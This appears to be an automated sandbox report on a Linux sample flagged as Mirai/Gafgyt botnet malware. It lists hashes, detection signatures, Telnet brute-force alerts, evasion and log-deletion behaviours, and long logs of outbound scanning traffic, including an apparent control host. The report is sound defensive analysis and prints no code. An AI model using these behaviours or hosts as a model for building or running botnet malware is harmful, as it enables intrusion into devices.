Linux Analysis Report 1xtO9V8ku8

Overview

General Information

Sample Name:	1xtO9V8ku8
Analysis ID:	553464
MD5:	aac6e25e1d471c889b0ae7b3939e84ed
SHA1:	ed2e1aaf171b7bb4d24c543781f7f831fabe1c61
SHA256:	408362634ac9615317b22bea3be9caba9a1ba70db48ff41a9fdd27b60074612e
Tags:	32elfintel
Infos:
Most interesting Screenshot:

Detection

Gafgyt Mirai

Score:	100
Range:	0 - 100
Whitelisted:	false

Signatures

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Yara detected Mirai

Multi AV Scanner detection for submitted file

Yara detected Gafgyt

Malicious sample detected (through community Yara rule)

Connects to many ports of the same IP (likely port scanning)

Sample is packed with UPX

Uses known network protocols on non-standard ports

Sample contains only a LOAD segment without any section mappings

Yara signature match

Uses the "uname" system call to query kernel version information (possible evasion)

Enumerates processes within the "proc" file system

Executes the "systemctl" command used for controlling the systemd system and service manager

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Detected TCP or UDP traffic on non-standard ports

Sample tries to kill a process (SIGKILL)

Deletes log files

Executes commands using a shell command-line interpreter

Classification

Signatures

AV Detection:

Multi AV Scanner detection for submitted file

Source: 1xtO9V8ku8	Virustotal: Detection: 21%			Perma Link
Source: 1xtO9V8ku8	ReversingLabs: Detection: 34%

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Source: Traffic	Snort IDS: 716 INFO TELNET access 187.8.108.105:23 -> 192.168.2.23:41618
Source: Traffic	Snort IDS: 492 INFO TELNET login failed 187.8.108.105:23 -> 192.168.2.23:41618
Source: Traffic	Snort IDS: 716 INFO TELNET access 187.8.108.105:23 -> 192.168.2.23:41634
Source: Traffic	Snort IDS: 492 INFO TELNET login failed 187.8.108.105:23 -> 192.168.2.23:41634
Source: Traffic	Snort IDS: 716 INFO TELNET access 187.8.108.105:23 -> 192.168.2.23:41636
Source: Traffic	Snort IDS: 492 INFO TELNET login failed 187.8.108.105:23 -> 192.168.2.23:41636
Source: Traffic	Snort IDS: 716 INFO TELNET access 187.8.108.105:23 -> 192.168.2.23:41646
Source: Traffic	Snort IDS: 492 INFO TELNET login failed 187.8.108.105:23 -> 192.168.2.23:41646
Source: Traffic	Snort IDS: 716 INFO TELNET access 187.8.108.105:23 -> 192.168.2.23:41652
Source: Traffic	Snort IDS: 492 INFO TELNET login failed 187.8.108.105:23 -> 192.168.2.23:41652
Source: Traffic	Snort IDS: 716 INFO TELNET access 187.8.108.105:23 -> 192.168.2.23:41666
Source: Traffic	Snort IDS: 492 INFO TELNET login failed 187.8.108.105:23 -> 192.168.2.23:41666
Source: Traffic	Snort IDS: 716 INFO TELNET access 187.8.108.105:23 -> 192.168.2.23:41672
Source: Traffic	Snort IDS: 492 INFO TELNET login failed 187.8.108.105:23 -> 192.168.2.23:41672
Source: Traffic	Snort IDS: 716 INFO TELNET access 187.8.108.105:23 -> 192.168.2.23:41688
Source: Traffic	Snort IDS: 492 INFO TELNET login failed 187.8.108.105:23 -> 192.168.2.23:41688
Source: Traffic	Snort IDS: 716 INFO TELNET access 187.8.108.105:23 -> 192.168.2.23:41692
Source: Traffic	Snort IDS: 492 INFO TELNET login failed 187.8.108.105:23 -> 192.168.2.23:41692
Source: Traffic	Snort IDS: 716 INFO TELNET access 187.8.108.105:23 -> 192.168.2.23:41698
Source: Traffic	Snort IDS: 492 INFO TELNET login failed 187.8.108.105:23 -> 192.168.2.23:41698
Source: Traffic	Snort IDS: 404 ICMP Destination Unreachable Protocol Unreachable 66.76.97.117: -> 192.168.2.23:

Connects to many ports of the same IP (likely port scanning)

Source: global traffic

TCP traffic: 104.244.72.234 ports 64938,3,4,6,8,9

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 37448 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 44114 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 44114 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 44114 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 37448 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 40318 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 40318 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 37448 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 59880 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 58706 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 56064 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 60001 -> 58706
Source: unknown	Network traffic detected: HTTP traffic on port 56064 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 56064 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 40318 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 45126 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 39846 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 37448 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 45126 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 58638 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 58638 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 58638 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 40318 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 45126 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 58638 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 59590 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 41194 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 59590 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 33692 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 58638 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 60728 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 41194 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 59382 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 45126 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 59590 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 60728 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 59382 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 55434 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 41194 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 50984 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 58560 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 60001 -> 58560
Source: unknown	Network traffic detected: HTTP traffic on port 55434 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 37448 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 50126 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 50984 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 59382 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 55334 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 55334 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 55334 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 55334 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 50126 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 40318 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 55334 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 59590 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 58638 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 55334 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 50126 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 41194 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 57546 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 59382 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 56310 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 56310 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 55334 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 56310 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 45126 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 56310 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 42466 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 50126 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 42466 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 56310 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 46714 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 59590 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 55334 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 56310 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 41194 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 58638 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 59382 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 50126 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 37448 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 41008 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 40318 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 56310 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 52250 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 41008 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 55334 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 45652 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 45126 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 59766 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 59766 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 59766 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 59590 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 41194 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 59382 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 59766 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 56310 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 52606 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 50126 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 39416 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 49456 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 49456 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 59766 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 49456 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 49456 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 43962 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 37642 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 37642 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 49456 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 43962 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 37642 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 56466 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 37642 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 60580 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 60580 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 56466 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 60580 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 59844 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 43962 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 59844 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 60580 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 49456 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 59844 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 37642 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 59844 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 56466 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 60580 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 59844 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 43962 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 60580 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 37642 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 56466 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 45660 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 49456 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 59844 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 55670 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 37110 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 55670 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 55670 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 37110 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 55670 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 37110 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 60580 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 55670 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 37110 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 55670 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 37110 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 52980 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 59766 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 52980 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 52980 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 43962 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 59844 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 52068 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 52980 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 55670 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 37642 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 56466 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 52068 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 52980 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 36150 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 37110 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 36150 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 36150 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 36150 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 52068 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 47086 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 60001 -> 47086
Source: unknown	Network traffic detected: HTTP traffic on port 52980 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 36150 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 55670 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 60580 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 52068 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 46314 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 41138 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 37110 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 36150 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 58916 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 58916 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 41138 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 58916 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 52980 -> 60001

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Source: global traffic	TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic	TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: global traffic	TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443

Detected TCP or UDP traffic on non-standard ports

Source: global traffic	TCP traffic: 192.168.2.23:4898 -> 186.118.144.241:2323
Source: global traffic	TCP traffic: 192.168.2.23:4898 -> 218.75.52.213:2323
Source: global traffic	TCP traffic: 192.168.2.23:4898 -> 39.21.179.73:2323
Source: global traffic	TCP traffic: 192.168.2.23:4898 -> 44.193.126.40:2323
Source: global traffic	TCP traffic: 192.168.2.23:4898 -> 112.101.103.97:2323
Source: global traffic	TCP traffic: 192.168.2.23:4898 -> 69.124.77.13:2323
Source: global traffic	TCP traffic: 192.168.2.23:4898 -> 116.153.19.31:2323
Source: global traffic	TCP traffic: 192.168.2.23:4898 -> 51.186.223.15:2323
Source: global traffic	TCP traffic: 192.168.2.23:4898 -> 116.64.27.188:2323
Source: global traffic	TCP traffic: 192.168.2.23:4898 -> 110.102.99.206:2323
Source: global traffic	TCP traffic: 192.168.2.23:4898 -> 42.203.175.81:2323
Source: global traffic	TCP traffic: 192.168.2.23:4898 -> 101.139.120.77:2323
Source: global traffic	TCP traffic: 192.168.2.23:4898 -> 109.114.128.165:2323
Source: global traffic	TCP traffic: 192.168.2.23:4898 -> 89.25.6.219:2323
Source: global traffic	TCP traffic: 192.168.2.23:4898 -> 18.71.167.138:2323
Source: global traffic	TCP traffic: 192.168.2.23:4898 -> 13.255.216.141:2323
Source: global traffic	TCP traffic: 192.168.2.23:48182 -> 104.244.72.234:64938
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 162.110.144.241:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 132.185.105.3:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 159.128.177.243:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 32.249.225.241:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 176.194.144.10:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 27.152.49.41:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 197.168.236.244:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 49.137.82.179:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 45.86.170.89:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 37.13.79.220:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 203.205.60.238:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 164.189.143.182:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 167.109.110.144:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 68.81.121.113:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 198.146.130.219:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 19.143.208.84:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 38.69.87.224:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 204.104.22.47:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 102.250.71.147:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 108.135.101.228:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 42.243.58.157:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 162.148.27.23:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 205.131.142.3:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 205.43.213.243:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 184.19.80.1:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 170.116.148.215:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 209.194.78.181:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 49.187.246.24:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 58.80.145.74:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 92.173.70.84:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 27.123.39.83:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 9.122.235.232:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 98.202.128.107:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 62.61.90.9:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 101.20.99.68:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 118.127.188.237:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 175.4.141.155:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 126.170.151.136:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 72.0.2.185:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 63.70.140.177:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 75.100.121.18:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 205.171.2.70:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 206.110.173.208:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 34.128.162.61:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 52.85.76.115:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 24.195.127.181:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 199.79.30.112:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 104.148.118.151:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 218.248.195.66:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 177.53.110.58:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 204.178.227.18:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 117.171.17.166:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 31.177.78.54:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 43.34.137.26:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 23.141.147.200:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 166.124.128.137:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 84.176.187.228:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 92.153.86.234:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 85.125.69.236:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 138.50.211.57:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 113.74.47.138:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 149.37.39.124:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 49.60.114.131:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 50.6.156.219:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 57.246.114.35:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 213.2.59.203:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 77.132.108.192:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 152.148.225.179:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 184.190.239.68:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 63.200.23.139:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 39.64.169.120:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 12.110.5.185:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 220.86.84.11:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 86.117.55.208:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 70.253.237.163:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 143.38.43.135:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 170.212.36.250:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 57.252.173.182:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 188.119.53.17:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 158.153.215.0:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 210.46.213.169:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 51.186.72.158:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 198.102.110.243:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 102.163.62.124:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 41.247.130.12:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 171.67.90.37:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 82.202.76.99:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 66.235.210.221:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 188.214.188.40:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 145.198.6.9:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 126.99.207.92:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 200.221.58.2:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 49.225.196.232:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 199.92.73.4:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 221.7.167.37:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 47.215.127.174:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 189.130.166.117:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 72.185.84.71:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 221.207.206.217:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 87.234.168.83:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 154.130.195.93:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 90.52.147.221:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 64.0.122.109:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 35.43.102.79:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 170.124.49.220:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 106.11.111.243:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 171.60.230.133:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 121.244.56.246:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 165.78.100.196:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 47.106.98.137:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 64.213.153.190:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 189.27.111.132:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 131.46.139.231:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 219.14.29.160:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 216.59.183.87:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 102.154.131.249:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 168.176.92.67:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 42.39.49.194:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 91.240.153.157:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 100.172.172.94:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 162.122.23.157:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 52.59.84.219:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 206.104.250.66:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 145.82.162.1:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 64.229.118.47:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 98.173.78.95:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 75.137.78.52:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 105.109.202.115:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 81.26.181.163:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 78.217.243.206:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 90.226.19.67:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 134.178.185.141:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 167.131.112.47:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 115.142.189.87:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 59.176.56.235:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 46.61.249.223:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 103.110.188.157:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 213.98.203.108:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 8.71.110.201:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 146.194.217.45:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 189.38.30.163:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 193.249.15.99:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 63.62.99.32:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 39.49.251.60:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 123.31.56.31:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 221.160.230.38:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 206.50.2.71:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 118.41.179.90:60001
